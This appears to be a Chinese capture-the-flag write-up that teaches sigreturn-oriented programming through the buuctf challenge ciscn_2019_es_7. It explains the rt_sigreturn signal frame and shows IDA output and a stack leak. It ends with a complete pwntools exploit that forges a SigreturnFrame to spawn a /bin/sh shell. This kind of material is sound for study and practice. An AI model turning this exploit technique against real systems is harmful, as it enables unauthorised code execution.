一种独特的rop手法 利用了64位Linux的系统调用号15的rt_sigreturn 函数
Linux系统中 信号实际上就是软中断 比如用户在终端输入了ctrl+c 就会终止终端 这时候就需要信号机制
软中断在计组原理中有所提及 这里不重复说明
每一个信号都有自己的名称和编号 对应着不同的功能 可以使用kill -l来查看
而今天要利用的rt_sigreturn函数就是linux中多种信号的一个
rt_sigreturn - 从信号处理函数返回,并清除栈帧
当linux内核确定某进程还有一个未阻塞的信号待处理 当进程下一次从内核态切换到用户态时(比如进行系统调用后 或者是进程重新调度到cpu上)
它会创建用户空间堆栈 或定义的备用堆栈上的一个栈帧 用于保存各种进程上下文
如图所示 其中最关键的就是寄存器的值也会保存在栈上 借助这一点 我们可以很轻易的实现寄存器值的修改 从而实现系统调用
这一段内存被称为Signal Frame
下面来看一道例题 buuctf中的ciscn_2019_es_7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
保护机制很常规 看一下ida
signed __int64 vuln () { signed __int64 v0; char buf[16 ]; v0 = sys_read(0 , buf, 0x400 uLL); return sys_write(1u , buf, 0x30 uLL); }
main函数跳转到了vuln函数
vuln函数有栈溢出的机会 同时还给了write函数输出0x30字节的数据
程序还给了gadget函数 伪代码看不出什么 看一下汇编
.text:00000000004004D6 public gadgets .text:00000000004004D6 gadgets proc near .text:00000000004004D6 ; __unwind { .text:00000000004004D6 push rbp .text:00000000004004D7 mov rbp, rsp .text:00000000004004DA mov rax, 0Fh .text:00000000004004E1 retn .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1
有mov rax,0xf 显然这题就是要利用rt_sigreturn进行srop来实现system系统调用
不过要实现system(“/bin/sh”)首先我们还需要给rdi赋值binsh字符串的地址
由于题目没有自带binsh 此时有两种办法 一种是泄露libc基址 我们自己计算 还有一种是把binsh写到栈上 然后利用write函数泄露栈地址
gdb动调后发现泄露不到libc基址 所以这里用第二种办法 先gdb动调看一下哪里可以泄露栈地址
我们输入的8字节的字母a位于0x7fffffffdeb0处 而0x7fffffffded0处有一个0x7fffffffdfc8的栈地址可以泄露
我们可以计算偏移 得到栈上的地址
from pwn import *io = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("./buu_libc_ubuntu18_64" ) context.log_level = "debug" context.arch = "amd64" vuln_addr = 0x4004ED payload = cyclic(0x10 ) gdb.attach(io) io.sendline(payload) stack_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x118
此时的stack_addr就是我们通过read函数输入的第一个字长的数据的地址 如果我们将其替换成binsh 那么就是binsh字符串的地址
接下来就是伪造Signal Frame 了 pwntools自带了库可以实现
frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr
完整exp:
from pwn import *io = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("./buu_libc_ubuntu18_64" ) context.log_level = "debug" context.arch = "amd64" vuln_addr = 0x4004ED payload = cyclic(0x10 )+p64(vuln_addr) io.sendline(payload) stack_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x118 syscall_addr = 0x400517 rax15_addr = 0x4004DA frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr payload = b'/bin/sh\x00' +cyclic(0x8 )+p64(rax15_addr)+p64(syscall_addr)+bytes (frame) io.sendline(payload) io.interactive()